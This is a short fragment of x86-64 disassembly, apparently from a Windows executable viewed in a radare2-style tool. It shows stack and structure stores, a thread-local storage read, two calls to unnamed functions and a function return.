mov qword [rax + 0x130], rbx
xor ebx, ebx
mov rax, qword gs:[0x58]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rcx, qword [rax + rcx*8]
mov eax, dword [rsp + 0x80]
mov dword [rdx + rcx], eax
mov rdx, r14
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rax
call fcn.14000abd0
call fcn.140009740
mov rcx, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov qword [rax + 0x138], rbx
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x50]
mov dword [rcx], 1
add rsp, 0x40
pop r14
ret